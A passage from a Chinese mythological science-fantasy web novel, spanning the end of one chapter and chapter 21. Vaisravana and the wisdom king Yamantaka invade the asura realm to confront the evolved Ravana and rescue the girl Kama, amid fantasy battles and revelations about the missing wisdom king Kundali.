“只不过,接下来的事情,说不定对你会比较棘手唷——” 巨大的黑影笼罩住了刹迦罗,他听到粗重的喘息。 他全身都因为背后突如其来的能量反应紧张起来。 “要对付一个神志大乱的狂暴明王,可不是件容易的事呀,毗沙门天!” “喏,大威德,你深爱的女人就要被这个金色眼睛的家伙抢走了——要是卡玛被这个天神带到须弥,你可就再也见不到她了。” “阿汉!”刹迦罗低喝。 回答他的是巨人的咆哮。 少年大笑。 “还犹豫什么?把这个天神杀了,你就能永远和卡玛在一起了,再没人会妨碍你们,你们会无比幸福——只要把毗沙门天干掉,一切皆随你心意!” 话音刚落,神庙内便传来一阵巨响 刹迦罗已经展开了天神护盾,但他还是被阿汉惊人的力量撞飞,接连撞碎了十余根石柱才被一堵厚墙挡住。 阿汉大步上前,卡住刹迦罗的脖子,疯了似的攻击他。 全无章法仅凭蛮力的战斗方式很笨拙,却有匪夷所思的威力,若是硬挨上两下,只怕连他的天神机体都撑不住。 “阿汉!冷静一点!” “卡玛……把卡玛还给我!……” 那巨人已经红了眼,哪还认得出面前的人是谁,大非空想光明遍照不断重复着他在失去意识前几秒钟的记忆,他只知道自己拼掉性命也要保护那个小家伙,任何企图抢走她的都得死。 醒过来第一眼看到的,就是这个家伙抱着卡玛。 所以非把他粉身碎骨不可! 应付着狂怒的阿汉,刹迦罗发现那仅剩首级的少年不知什么时候已经变成了一个身材修长、有着墨蓝色长发的男人,正把卡玛横抱在怀里,背对着他们。 那个男人像是要带着卡玛离开毗湿奴神庙,前往某个遥远的地方。 他的背影…… 怎会如此熟悉? 刹迦罗略一分神,阿汉的拳头已经凑了过来,他下意识地抬臂抵挡,却被当场废了一只胳膊。 你的努力都白费了。 罗婆那劝你呆在一旁默默地看到最后,为什么不听呢? 你看,结果依旧没有任何改变。 这个女孩罗婆那带走了,若是不甘心,就来帝拜找她吧。 那个背影……他一定在什么地方见过! 那个声音…… 毗湿奴神庙内光芒闪耀,男人开启了通往帝拜的门。 带着卡玛融入闪光前,刹迦罗吼道: “你到底是——” 男人回过头。 刹迦罗简直不敢相信自己的眼睛。 “军……军荼利?沙克帝……你居然还活着?……” 你的确知道了一些秘密,但看起来还不是全部。 男人微微一笑。 最终进化完成后,罗婆那的时代马上就要开始,楞迦城颠,随时恭候大驾。 当然,前提是你能从大威德手下保住性命……哈哈哈哈。 “站住!” 男人置若罔闻,消失在白光中。 大威德明王的能量反应剧增。 刹迦罗发动了天王莲花法阵。 巨型冲击波吞噬了一切,毗湿奴神庙、雾之森林,全部化作虚无。 什么也没有留下。 除了那扇充满光的门。 阿汉隐约听到有些人在说话。 你真的打算这么做,多闻? 我已经决定了,持国。 没有经过三连神的批准,你的天神本体只有应急权限,以目前摩诃的情况来看,活动能力最多不超过三个小时,虽然我以自己的天神位格担保并且把我的应急权限给你,可以延长时间,但是…… 谢谢你,持国。 多闻,你必须在六小时内进入帝拜找到罗婆那并且击败它,否则你的天神本体会失去活动能力。 我知道。 如果你失败了,罗婆那会变得更加强大——现在它的能量反应已经强到了匪夷所思的地步,我希望你清楚自己在做什么。 我知道。 …… 他感觉不到卡玛的存在,她就像从这个世界上消失了一样。 卡玛。 阿汉睁开了眼睛。 “……这样子,你的天神本体就准备好了。” 那个红发赤目的男人说。 他是世界集团的首席科技官,希格玛。 但阿汉知道他的另一个身份——他是与刹迦罗并列四天王之一的东方持国天。 一个庞然大物在迅速收缩,金色的光璀璨夺目,阿汉不得不微微别开脸。 他看到离自己不远的地上趟着一个人。 断了一只手臂,伤口破损的机体构造清晰可见。 这个人是刹迦罗。 再仔细看,却发现他尚完好的那只眼中一片黯淡,除了机体自身产生的能量反应外,没有任何生气——这不是刹迦罗,只是他的机械化身。 阿汉爬起来,转过身。 他面前是一团比太阳还要强百倍的光。 一个上百米高的光之巨人正不断地实体化,它的物理形态是巨大的人形机械,这能量强度甚至接近暗黑帝释天的天神机体,经过复杂的变形重组程序后,最终逐渐确定为人类形态。 看上去和先前的机械化身并没有什么区别,但实际上完全不同。 这才是北方毗沙门天王的本来面貌。 “这家伙看来是真的被惹火了呢。”希格玛仰望着空中的金光。 阿汉盯着他。 “他给了我密码,要我启动他存放在须弥杨柳宫城里的天神本体。”希格玛皱着眉头,“没有向三连神递交启动申请,也丝毫不考虑这样做是否会让三界之间本来就已经不太稳固的结界彻底崩溃,就这样在摩诃以天王本尊降临,真是太乱来了。” 毗沙门天王的启动程序已经到了最后阶段。 只有在千年前的明王战争中,这位天王才会如此郑重其事地显露真容,那种迷离的光,仅在他的忍耐到达极限时才会闪现。 见过那种光的生物,绝大多数都没能活下来。 “你醒了。”毗沙门天说。 他眉心的天神印记闪闪发光,精光湛然的右眼里,平静之下蕴藏着无尽风暴。 “你被大非空想光明遍照击中,心神大乱,之后你的降魔狮子吼被我反弹后回馈到你身上,两种精神攻击的作用撞在一起,似乎是互相抵消了。” “她在哪里?”阿汉问。 “她被罗婆那带走了,现在估计已经抵达帝拜楞迦城了。” 话音刚落,阿汉脚下已被跺出一个大坑。 “吸收降三世明王完成最终进化之后,罗婆那将成为最强的终极武器,若它离开帝拜,这个世界将面临前所未有的灾难,情况比暗黑帝释天降临还要糟上百倍。”毗沙门天说,“现在只有将它强行毁灭才能避免灾难。” 他望着阿汉。 “要和我一起去帝拜吗?” 阿汉斩钉截铁地点头。 “祝你们好运。”希格玛在一旁嘟哝着,见那两人望着他,又不耐烦地说,“某人擅自做主调用天神本体,企图强行突破结界闯入帝拜也就算了,一个人闯进去不够还要拉个人作伴——一个是毗沙门天王,一个是大威德明王,你们以为这样在三界横冲直撞真的一点问题也没有吗?” 毗沙门天不和他争辩,只是垂着头任他数落。 “摩诃的构造与须弥还有帝拜完全不同,连核弹那种劣质人造玩具对摩诃造成的破坏都需要很长时间才能修复,根本经不住天神或者阿修罗折腾——多闻,有言在先,我可以再卖个大人情给你,我会尽力维持摩诃的稳定,以免你们在跟罗婆那大打出手的时候,这颗可怜的小星球不会被海啸地震火山瘟疫什么的弄成坟场,但是——” 希格玛冷冷地盯着毗沙门天。 “帝拜是阿修罗的地方,无论那些家伙躲在那里头做些什么,都是受至高法则保护的,就算是三连神也不能随意干涉帝拜的事务,天神入侵帝拜至今尚无先例,会有什么后果不得而知,奉劝你做好心理准备。” 他瞥了阿汉一眼。 “别担心,你本来就是个阿修罗,所以这些事情与你无关。” “我可以独自去帝拜。”阿汉说。 “去送死吗?”希格玛冷笑一声,“现在的你根本不是罗婆那的对手,就算加上他,你们的胜算也不会比中彩票头奖的几率更高,真不明白你们为什么都这么顽固!” 他把那具被弃置的天神机体收进冷藏柜里。 “你们好自为之吧。” 毗沙门天凝视着好友的背影。 “准备好了吗?” 阿汉点了点头。 21. 第 21 章 帝拜,阿修罗的世界。 须弥和摩诃中的堕落者,无论是尤在世的时候还是在死后进入帝拜,都会失去转生的资格,他们可以在帝拜繁衍,但他们的后代一出世身上就会有堕落者的印记。 作为创造之神,梵天并非万能,每次当他从沉睡中醒来后开始重新创造世界时,他都会在最初的尝试中留下一些失败的作品。 梵天创造了无知后将其抛弃,但它却生存下来变成黑夜,蒙昧的生物由此而生,它们甚至企图吞噬自己的父亲,为了保护自己不被失败的作品伤害,梵天划出了一个位面空间用以禁锢这些可怕的生物,并用结界将其封印隔离。 这就是帝拜,梵天失败的创造物成了帝拜最早的居民。 三连神制定了各种规则和秩序,但唯独对帝拜不起作用。帝拜起初是一个完全混乱无序的世界,它的秩序是由最早的几位阿修罗王确立后逐渐传承下来的,每一任阿修罗王的统治方式都不尽相同,但最基本的规则却始终恒定不变。 三连神与阿修罗王之间,是否也存在某种不为人知的协定呢? 刹迦罗并不清楚这样的事情。 但他知道三连神之所以对帝拜不闻不问、放任自流的原因。 帝拜是堕落者的世界,三连神一旦对他们的事务进行干预,则等同于承认这些堕落者在系统中依然属于“合法数据”,换言之他们仍旧可以具备转生的资格。 因此,让帝拜维持“自治”,对于三连神来说,是理想的状态。 阿修罗在帝拜可以为所欲为,能够约束它们的只有更强的同类,天神们虽然能毁灭任何危害须弥和摩诃的阿修罗,但他们的力量无法跨越帝拜的结界。 这里只有黑夜,有的地方比太阳表面还要热,也有的地方常年处于绝对零度之下,天神的力量无法影响到这里,所以起初帝拜没有风,没有水,没有坚固岩石的地表,没有可以改善大气的植被,什么都没有——堕落者没有资格享用这些美好的东西,然而它们依然有生存的本能,因此一些强大的阿修罗——它们的前身多半是来自须弥、因为犯下无法弥补和宽恕的严重罪行而被放逐到帝拜的天神——运用自身的创造力给这个荒芜的世界带来了仅有的生存资源。 为了活下去,阿修罗们为争夺这些珍贵的资源自相残杀,一个未被污染的小湖泊、一片郁郁葱葱的树林都能引发血战,只有强者才能生存,弱者的命运是凄惨的。 不到帝拜亲身体会,根本无法想象那种残酷的法则。 在刹迦罗的记忆中,须弥和摩诃只有在最黑暗的时期才会沦落至帝拜的境地,但须弥和摩诃总会从创伤中复原,而帝拜则是永恒的地狱。 千百万年来,第一次出现天神主动入侵帝拜的事件。 入侵者是北方毗沙门天王。 与他同行的还有大威德明王。 阿修罗如临大敌,三大主力集团军倾巢出动,罗睺宫几乎占据了整个天空,这座空中堡垒装备了各种强大的武器,庞大的凯图战车厚重的履带轧裂大地,累累白骨被碾成粉末。 然而它们都无法伤及毗沙门天分毫。 那位天神只需一挥手,成千上万的阿修罗就在金光中烟消云散。 而他身边的大威德明王始终没有出手。 但刹迦罗很清楚,无论摧毁多少阿修罗都是没用的,因为阿修罗无法转生,它们崩溃的躯体和灵魂在短暂的游离状态后便会重新组合成为新的阿修罗,或者被吃掉变成其他同类的一部分,所以帝拜里的阿修罗是杀不完的,它们会源源不断地再生,甚至会通过进化逐渐找出克制敌人的方法,从而变得更强大。 这样下去,在他抵达楞迦城之前,就会被阿修罗疯狂的车轮战击倒。 帝拜的阿修罗,已经完全机械化了吗?…… 阿修罗们很久没有入侵须弥了,十五年前结界出现裂缝后它们开始无组织地向摩诃渗透,但是,即使是最低级的首陀罗,都已经开始使用机械体,这种情况是须弥的天神不曾了解的。 三连神从不介入帝拜事务的后果,便是天神和人类对于阿修罗的动静一无所知。 阿修罗机体被大规模地运用,上次与天神们大战时使用的弓箭、长矛和战斧早已不见踪影,取而代之的是威力巨大的热武器——一切都与他记忆中保存的资料完全不同。 帝拜,还有阿修罗,它们到底发生了什么事? 刹迦罗所不知道的是,他的出现同样也令阿修罗感到惊愕。 因为在那之后,天神也变了。 被毗沙门天压倒性的恐怖力量震慑,阿修罗大军的行动明显迟疑起来。 或许它们开始考虑,赔上积累了数个世纪的力量消灭一位天神是否值得——还不一定能够成功,况且就算成功,像毗沙门天这样身份显赫的重要天神也一定会被三连神立即安排转生。 哪怕是须弥和帝拜的冲突激化到顶点的时代,天神也从来不会只身贸然闯入阿修罗的领域……也许应该先弄清楚这两位不速之客的企图再动手比较好? 我们来这里,是为了拜访幻非天罗婆那,与其他人无关。 现在再表明来意,效果会理想很多。 罗睺宫和凯图战车并非罗婆那靡下,而是另一个婆罗门热阔的直属部队。 八大婆罗门之间彼此勾心斗角,人人都想成为新的阿修罗王,它们的关系即便不是直接敌对,也不会亲密无间,实力较弱的婆罗门偶尔会形成短暂的联盟共同对付较强的婆罗门,但一切都是基于领地、权势、地位和其他利益的基础之上,对婆罗门的席位虎视眈眈的刹帝利也不可不防,稍不留神就可能被取而代之。 帝拜和阿修罗的确变了很多,但有些事情,却从未变过。 暗非天热阔和幻非天罗婆那的关系很糟糕,这是在须弥都路人皆知的事。 罗婆那的能量正在急剧膨胀,其他的婆罗门,应该很不安吧? 凯图战车的主炮上闪耀的蓝光渐渐熄灭,阿修罗军团停止了对毗沙门天的攻击。 刹迦罗微微一笑。 热阔,楞迦城在哪里? 沉寂了很久,黑压压的阿修罗中闪出一个口子。 透过那道裂缝,刹迦罗和阿汉可以看到在地平线上交织的五彩光弧中,悬浮着一块圆盘状陆地,之上又悬浮着一块较小的陆地,累计十层,每一层的直径都是下面的一半,在第十层顶上有一座用青铜、黑铁和陶土建造的城市。 那就是楞迦城。 罗婆那的要塞正沉浸在暗红色的妖异光芒中,强大的能量场甚至令支撑楞迦城的十层陆地都出现了程度递增的崩坍迹象。 似乎整个帝拜的能量都聚集在了那座幻境之城中,除了罗婆那的军团,没有任何一个阿修罗敢接近楞迦城的领域,刹迦罗能清晰地感受到阿修罗们的惶恐不安,帝拜黑红色的天空电闪雷鸣,预示着不祥之兆。 阿修罗让出的道路更宽阔了。 看来他们闯入帝拜“拜访”罗婆那,正是热阔和其他婆罗门求之不得的。 罗婆那的军队将楞迦城层层包裹,远远看去就像一个蜂球。 当毗沙门天和大威德明王抵达楞迦城时,竟没有遭到任何攻击。 在无数道目光的注视下,刹迦罗和阿汉登上了通往楞迦城顶端的阶梯。 藏匿在黑暗的生物悄悄地尾随着楞迦城的访客,它们生得奇形怪状,有的是侏儒,有的大腹便便但四肢细瘦如柴,有的脚趾朝后生长,有的手臂长度超过身高——但当天神和明王踏过第一万级阶梯,进入楞迦城上层之后,这些丑陋令人厌恶的生物便无法再前进一步,忽视自己的身份贸然进入上层市区的全都莫名死去,化为脓水。 在即将到达楞迦城之颠前,刹迦罗看到了一个巨人。 它的身躯高大如山,低垂着头,倚着悬崖峭壁坐在地上。 它似乎已经和楞迦城融为一体,它的双腿被挖空,变成了建筑物。 它的胸口被穿透,整个人就像是被钉在了楞迦城上,不知过了多少年,风化的伤口早已淌干了血,也许它的血曾经灌溉过楞迦城的土地,尽管现在这座壮丽的城市空无一人,暗红色的光迷离神幻,但却将荒芜凄凉映衬得令人艰于呼吸。 这是一座死城。 巨人的眼睛是无底的空洞,它庞大的身躯上有着类似机械的复杂构造。 然而却早已变成了石头。 刹迦罗轻轻地摇头,他没想到原来这才是真相。 阿汉盯着那个巨人的脸,他试图将眼前的景象与记忆中的某些支离破碎的片断重叠在一起,然而无论他如何努力,却总在即将得到答案的瞬间功亏一篑。 直到他听到身边的天神喃喃自语: “那是……那是军荼利。” 阿汉的瞳孔猛地收缩起来。 “军荼利……”刹迦罗低声说,“你……你怎么会……” 千年前的激战以明王的惨败告终,三连神对外宣布以中央不动尊明王为首的五位明王已全部遭到镇压和永久封印,但实际上无能胜明王释迦向三连神投降并成为了毗湿奴的第九化身,降三世明王耶罗被毗沙门天王毁灭,大威德明王汉巴达自我引爆,真正被镇压封印的只有中央不动尊明王那至一个。 军荼利明王沙克帝,被帝释天和南方增长天王重创后负伤逃走,从此下落不明。 原来…… 原来他一直躲藏在帝拜。 可是,为什么他会被囚禁在这里? 就算他身负重伤,哪怕所有的婆罗门联手也不至于令他变成这样。 他的身躯成为楞迦城的养料,最后只剩下一具枯朽的躯壳。 成为明王,背叛天神,与整个须弥为敌,几乎快要令三连神束手无策…… 到头来却落得如此下场。 这样……会比其他人更好吗? 军荼利,你的野心甚至超过了中央不动尊,可你……从未后悔过吗? 一千年前,他的到来改变了帝拜的一切。 咝的一声,阿汉已经进入战斗状态。 刹迦罗缓缓抬步,朝楞迦城的最高处前进。 他伤得很重,但力量依然强得不可思议,当他像星辰般坠入帝拜时,老阿修罗王正在努力调解婆罗门之间的纷争,然而他就那样轻而易举地杀死了老阿修罗王——当着所有婆罗门的面,干脆利索,一击致命。 当然,那个时候罗婆那也在场。 五个婆罗门立即开始攻击这个来历不明的入侵者——当时虽然对须弥发生的事略有所闻,但谁也没猜到他的真正身份,他全身都是机械,力量体系前所未见,和大家印象中的天神完全不一样,有人猜测他是三连神研制出来的专门用来对付阿修罗的新武器,但这些都是一闪而过的想法。 因为只是一眨眼的功夫,那五个婆罗门已经被他杀了。 然后他只说了一句话: “要想得到这力量,就奉我为王,否则你们都得死。” 罗婆那平静地讲述着往事,似乎与自己毫无关系。 军荼利凭借武力杀了上一任阿修罗王,并制服了各自为政心怀鬼胎的婆罗门,接下来的事刹迦罗大致可以猜到——他立即成为新的阿修罗王,帝拜一夜之间大权易主,自上而下的变革雷厉风行,绝大多数的阿修罗还不知道究竟发生了何事,“明帝”这个称号就已经被深深地烙进了它们的脑子里。 但是…… 挑选了五个最强的刹帝利弥补了婆罗门的空缺后,他开始不断捕获其他较强的刹帝利,在他的实验室里进行某种“改造程序”——被送进那个实验室里的刹帝利没有一个活着回来,而他残缺的身体,却开始渐渐再生。 他把那些改造成机械体的刹帝利全都吃掉,转化成他自我修复所需的养料。 对于这种情况,婆罗门十分惊恐,但却没有作出任何反应,因为他们明白这位从天而降的“明帝”需要婆罗门为他做事,而他不断吞噬刹帝利,也等于是间接地巩固了婆罗门的地位…… 没人知道这种情况会持续到什么时候,直到有一天…… 楞迦城顶端突然激起蓝色、红色、黑色、紫色和青色的光,伴随而来的是罗婆那的能量反应更加剧烈。 军荼利的躯壳出现裂痕。 有一天他传召罗婆那,开始对罗婆那进行机体改造。 终于开始对婆罗门下手了吗?……刹迦罗想。 不,那只是特例。 “……” 军荼利吃掉了很多刹帝利,他的身体也渐渐复原,然而精神体方面的修复程序进展却不甚顺利,因为刹帝利的兴趣总是停留在对□□的强化和武力的提升上,他们并不了解精神力的重要性,这也是为什么他们当中绝大部分注定成不了婆罗门,永远只能做婆罗门争权夺势的工具——很多时候,计谋和策略比蛮力更有用。 当发现吞噬刹帝利并不能有效修复自己的精神体后,军荼利便把目标重新转移到了婆罗门身上,他选中了一个以强大精神力而著称的婆罗门,然后试图将其改造并且吞噬,从而完成最后的自我修复。 他几乎就要成功了,然而接下来发生的事却出乎他意料之外。 他驾驭不了那个被他吃掉的婆罗门,反而在一番激烈争斗后遭到反噬,成了那个婆罗门的傀儡……很无聊的情节,是不是?毗沙门天。 “对于那个婆罗门来说,它得到了千载难逢的机会。”刹迦罗说,“它一方面疯狂地侵蚀军荼利,另一方面继续以原来的身份活动,最后的结果是它拥有了双重身份——帝拜的阿修罗王‘明帝’,以及八大婆罗门之一的——” 他踏上最后一级阶梯。 “幻非天,罗婆那。” 楞迦城的最高处是一个长宽百余公里的平台,中央是楞迦祭坛。 此时的祭坛上,摆放着一个光茧。 黏液凝固成无数粗细不均的胶质带状物,附着在祭坛附近的石柱和地面,固定着那个巨型光茧,随着光茧中物体的呼吸和脉搏,五彩光芒此起彼伏。 楞迦祭坛旁有一圈较小的附属祭台,其中一个祭台上有一个被结茧的人影。 那是卡玛。 阿汉的浓眉拧了起来,刚要上前,刹迦罗用肩膀挡住他。 被削去发丝的头顶上,有着黑色莲花图案。 刹迦罗轻轻叹气。 他一直在疑惑卡玛究竟是不是三连神指派他保护的目标,却没想到标记会藏在那里,犹豫之间,他错过了确保她安全的最佳时机,一再地令这女孩身处险境…… 三连神,连这也在你们的预料之中? 那么,罗婆那呢?这个已经强大得无人能敌的阿修罗即将往整个世界散播恐怖,甚至会直接威胁到你们的权限,这种事情难道也是你们所期许的吗? 不必担心,降三世明王已经被我彻底吸收,如今那具身躯里剩下的只有叫卡玛的人类女孩罢了——大威德,这不就是你的愿望吗?如今罗婆那轻易就将其实现,而你身边的天神,却什么也不能给你呢…… 罗婆那的笑声从光茧中层层叠叠地扩散出来,在楞迦城的上空盘旋。 不如这样吧——杀掉毗沙门天,罗婆那就把卡玛还给你。 阿汉保持沉默。 虽然毗沙门天调用了他的天神本体,但罗婆那可以助你一臂之力,如何?只要干掉他,你就能带着爱人从帝拜全身而退,从此以后过自由、安静、幸福的生活,那不正是你情愿拼得头破血流肝脑涂地也渴求的东西吗? “让罗婆那离开帝拜的话,一切就完了。”刹迦罗淡淡地说,“它会杀死所有反对它的生物,以确立它的统治地位,甚至它会直接毁灭一切,以便它从三连神那里抢到最高支配权后重新创造世界。” 罗婆那创造的世界里,大威德和他的爱人可以永远幸福,他们不再会像现在这样被三连神肆意摆布,罗婆那不会做那么无聊的事。 “那是谎言。”刹迦罗哑然失笑,“罗婆那,就算你吸收了军荼利明王、降三世明王和暗黑帝释天的力量,力量超过三连神,最高支配权也不会落到你手上,如果事态发展到无可挽回的地步,三连神会毫不犹豫地放弃这个世界,提前结束整个时代,毗湿奴的最后一个化身白马迦尔基会降临,湿婆会跳起坦达瓦之舞,暗黑帝释天会再次现身,一切都将重归梵天,连你在内,谁也逃不过劫波。” 是吗?…… 光茧突然迸射出万丈毫光,将整个楞迦城照亮,终年被黑夜笼罩,与太阳的运转轨迹永无交集的帝拜,惊现日出奇景。 光茧破裂,朦胧轻盈的蝶翼无声展开,几乎能将整个楞迦城连同下面十层大陆全部裹住,漫天的幻光星尘随风飘散,帝拜下起了光之雪。 所有的阿修罗都惊呆了,它们丢下手里的武器,着了魔似的追逐那些疑幻疑真的光,哪怕是个卑贱低下的首陀罗,也哆嗦着伸出手,壮着胆子想要接住几缕星芒。 即使是终日征战厮杀,冷酷野蛮的阿修罗,也会渴求美好。 少年如破茧而飞的光蝶般降临于楞迦城颠,不再有九个头颅围着他旋转,他的头顶出现了九个细小光团组成的光环,少年全身隐隐透明,光芒透过他的身躯时折射出彩虹般的缎带,他看上去如此完美,似乎超越了全部已知和未知的存在,他脸上的微笑平静而淡泊,他的眼睛随时能洞察三界六道一切巨细,只要他愿意。 少年裸着上身,由颈部延伸至双肩、胸膛、背部的纹路,与他的蝶翼交替闪烁,他的左手中有一朵黑色的莲花,右手掌心悬浮着一颗五彩宝珠。 这是幻非天罗婆那,在完成最终进化后的真正形态。 看着那少年,刹迦罗竟觉得有些目眩神迷。 那果真是一个阿修罗吗? 他看起来简直就象是梵天、毗湿奴、湿婆……或者说,是三连神的综合体。 某一刹那,刹迦罗甚至产生了“若是让这样的东西支配一切也不错”的想法。 一只手搭在他的肩膀上,刹迦罗猛地回过神来。 阿汉正面无表情地瞪着他。 刹迦罗突然出了一身冷汗。 “所谓的‘最终进化’,可不仅仅是指得到这么一具连毗沙门天王都能魅惑的皮囊。”少年笑道。 “说起来,你到现在,弄明白三连神到底在打什么如意算盘了没有,毗沙门天大人?” 如果“明帝”的真面目,就是明王战争后下落不明的军荼利,那么三连神的意图便不难猜到了。 三连神不可能不知道军荼利逃到了帝拜,就连他被罗婆那反噬的事也应该了若指掌,他们知道帝拜里有一个异常强大的东西在积蓄力量,一旦时机成熟,后果不堪设想,但由于至高法则的约束,三连神不能随意干涉帝拜的事务,所以他们设计了一个方案。 “的确是很诱人的饵。”少年点了点头,“降三世和大威德死而复生,之后更不惜代价激活了暗黑帝释天,就是为了把罗婆那、军荼利、或是别的什么东西也好,从帝拜的巢穴里引出来,再借天神或明王之手将其消灭……” 刹迦罗默念天王定心咒,并不应答。 “可是结果想必令他们很失望吧?”少年玩弄着手中的莲花,“降三世已经被罗婆那吃掉了,暗黑帝释天虽然被四处加持印封住,没有足够的时间好好消化,但也品了个十之八九……他们打光了所有的牌,罗婆那非但没有上钩,反而因为他们送上的大礼完成了最终进化……罗婆那已经在三连神的系统里找到了属于自己的代码,并且做了最精密的保护,凭三连神的算法要破解也不是那么容易的事,换言之……” 他瞟了刹迦罗一眼。 “要动用最高权限把罗婆那当成非法数据删除,已经不可能了……你一定明白这意味着什么吧?毗沙门天大人?” “即使是劫波,也奈何不了你了。”刹迦罗若有所思地点了点头。 “唔……基本上就是这个意思。”少年说,“你瞧……罗婆那敞开大门随时恭候你们来楞迦拜访,三连神能怎样?毗沙门天王调用天神本体闯入帝拜,结果又能怎样?……” 少年抿唇一笑。 “无非是……再给罗婆那送了块上好的肥肉而已。” “肥肉?……”刹迦罗疑惑地低头看了看自己。 “……”阿汉保持沉默。 少年的头颅突然自转一周,变成了一张凶神恶煞的怒汉脸孔。 光之蝶翼迅速变为机械体构成的蜻蜓翅膀,罗婆那的身躯顿时暴涨八倍,化作一个浑身肌肉纠结的魁梧巨人,背后伸出第三臂和第四臂,全身暗紫色的电光啪啪啪地疾闪起来。 暗黑·幻非天·无妄尊因陀罗咒·斩首八天屠! 六十四个雷光球接连射出,目标不是毗沙门天,而是他身边的大威德明王阿汉! “千年前在善见城你从因陀罗手下逃了条命,这次就让俺结果了你!” 阿汉一言不发,开启明王战铠,右臂变形。 这一次的武器形态与以往迥异,八个炮口集成一束,他的膝部以下变成了厚重的底座,一连打了十二枚地针将身体牢牢固定住,同时左臂分解变形与右臂组合以提高精确度。 大威德·泛色轮空印·大覆灭! 炮口飞速旋转,一阵“哒哒哒哒”的闷响,阿汉开火,不计其数的光弹冲着罗婆那的雷光球砸去,炮口四周的景象逐一歪曲,强大的后座力震裂地面,但阿汉纹丝不动。 三十二枚雷光球与大覆灭的散射光炮相撞,陆续炸开,“嗡嗡”的空气共鸣不绝于耳,环伺与楞迦城四周的阿修罗大军中,不少离得近的躲闪不及,当场粉身碎骨,阿修罗们惶恐不安,终于求生的欲望压过对罗婆那的敬畏,小心翼翼地放开包围圈,以免再受殃及。 一些雷光球击中了阿汉,却被他身上的明王战铠弹开,而阿汉的大覆灭在接近罗婆那的身体时,也在无形力场的作用下偏离了轨道。 刹迦罗出手了。 脚底现出莲花法阵,刹迦罗与天神本尊结合,化为北方毗沙门天王的真正形态。 高耸入云的天王威武相竟能将楞迦城托在掌心,它凝视着罗婆那的蜻蜓翼,只一眨眼,骤然闪现的金光引得四周宛若飞蝗的阿修罗惨叫连连。 悟生光华秘法·狮子奋迅咒·夜叉俱卢释暗波! 手指轻弹,两团黑光便朝罗婆那飞去。 “俺仍有梵天恩赐庇佑,毗沙门天你的雕虫小技动不了俺一根汗毛!”罗婆那大吼。 “我知道。”刹迦罗右手一翻。 释暗波改变方向,一枚靠近罗婆那剩余的雷光球,另一枚则撞向了他的阿修罗盾。 随着黑光的接近,斩首八天屠的能量反应急剧减轻,就像被释暗波吸收了一般,刹迦罗将吸满雷霆之力、黑色外壳下已蓄满金光的释暗波收回时,罗婆那已被另一枚黑色光弹击中。 正如罗婆那所说,梵天赐予他不被任何天神伤害的恩惠,直到他被毗湿奴的化身罗摩击败并放逐到帝拜后也依然得到保留,挨了一记刹迦罗以天王威武相发动的释暗波,幻非天安然无恙。 然而,刹迦罗的意图,并非是要令罗婆那本体受伤。 咔嚓—— 罗婆那跟前突然出现了细小的裂纹。 他的阿修罗盾上,被释暗波钻出一个小孔。 裂纹越来越大,很快便成了无法弥补的沟壑,而暴露在外的,正是那魁梧怒汉的心脏位置—— 刹迦罗将收回的那枚释暗波注入阿汉右臂。 “瞄准了,大个子。” 阿汉略一点头,背上的莲花图案上闪动的蓝光沿着体表开启的机械纹路导入炮身。 大威德·泛色轮空印·汉巴达炮! 灌注了天王释暗波、明王法印以及暗黑雷霆之力的汉巴达炮,威力究竟几何,恐怕三连神的数据库里也未曾有过记录。 阿修罗盾有了破绽,被这一炮击中会有什么后果,千分之一秒内,罗婆那已经估算出了答案: 他的机体核心会被当场击穿。 他需要花费至少六百四十七个小时才能自我修复完毕。 是吗? 既然有这么强的威力…… 罗婆那突然开始切换人格。 狰狞怒汉的头颅自转一周,变成了一张美丽少女的脸。 少女虽然在笑,可她的眼神却呆滞无神,咧开上扬的唇角僵直生硬,笑声尖利刺耳,令人毛骨悚然。 “咯咯咯——” 听到这笑声,阿汉脸色一变。 迷雾森林,娑罗双树。 “男人……两个男人……”少女笑眯眯地抬手指着刹迦罗和阿汉。 罗婆那换了“乐·女首”,却没来得及更换身体,娇滴滴的美人头下连接着却仍是那具肌肉贲发的庞大男性身躯,简直是说不出的怪异。 当箍着坚硬老茧的粗厚手指在空中点出一块金色的光斑时,刹迦罗的瞳孔骤然收缩。 怎么可能?! “一切皆有可能,毗沙门天……咯咯咯。”罗婆那笑得花枝乱颤,接着脖子一扭变成了一张颧骨高耸,老态龙钟的“哀·男首”。 “要是不跟我们作对,你们也不至于就这么死掉的……唉。” “小心!”刹迦罗低声咆哮。 幻非天·狮子奋迅咒·空遍金刚初割奉还! 淡金色的光膜铺开,光亮如镜。 罗婆那居然使出了毗沙门天的招式,阿汉全身的紫蓝色光纹立即转为暗橙色,明王机体发出低沉鸣叫,急速降低输出功率令大威德明王体内的冷却系统负荷接近峰值,阿汉全身咝咝冒烟。 在阿汉的紧急措施下,射出去的汉巴达炮能量衰减了三分之一,但最终还是与罗婆那的空遍金刚初割奉还发生接触。 光膜上扩散出七圈波纹,汉巴达炮与其投射在镜面另一端的虚影接触后,悄无声息地按照原先轨迹遭到反馈。 阿汉的身体被固定在地面,此时再分解变形恢复人类形态进行闪避动作,已经来不及了。 明王战铠抗不住这一击,他的物理形态至少会被毁掉46%。 阿汉下意识地望向楞迦祭坛。 然而那里空空如也。 碎裂的茧壳被能量撞击产生的气流吹散,卡玛却不见了。 金光迸射,汉巴达炮恐怖的破坏力令所有的阿修罗心惊肉跳。 军荼利明王的躯壳终于开始坍塌。 罗婆那再次切换回“无·男首”,机械蜻蜓翅膀变回光芒璀璨的蝶翼。 他面无表情地盯着那个渐渐缩小的冲击波。 赔上了三分之一个楞迦城和无数人马,却似乎并没有达到预期效果。 圆锥形的防护屏障笼罩住了毗沙门天王和大威德明王。 血从刹迦罗的指缝中涌出,沿着伞柄滴落。 “毗沙门天的宝幡……”少年称赞道,“果然能制造出攻防能力一流的天王结界。” “不过似乎对你没什么用处。”刹迦罗擦拭着嘴角的血丝,“罗婆那,你把卡玛弄到哪里去了?” “那个小女孩?”少年瞥了旁边的祭坛,“呀……大概是被某个多管闲事的刹帝利用瞬间移动术弄走了吧?” 刹帝利?瞬间移动术? 少年嗤笑一声。 “那个刹帝利的主人格向来以他的谋略自居,在两位兄长的帮助下收拾了一些其他的刹帝利,又让两个婆罗门吃瘪后就越发不可一世了……以为凭这点小聪明就能晋级婆罗门,真是太天真了——罗婆那查看三连神的访问记录时,发现他们居然曾经在世界大厦遇到麻烦的时候见过三连神,虽然还不清楚他们到底实现了什么愿望,但看上去并没有多少长进。” “要知道……在这种形势下,选择正确的立场,可是很重要的。”少年摇了摇头,“看来他又选错了……他以为凭一个刹帝利的力量,能带着那女孩逃出这楞迦城吗?” 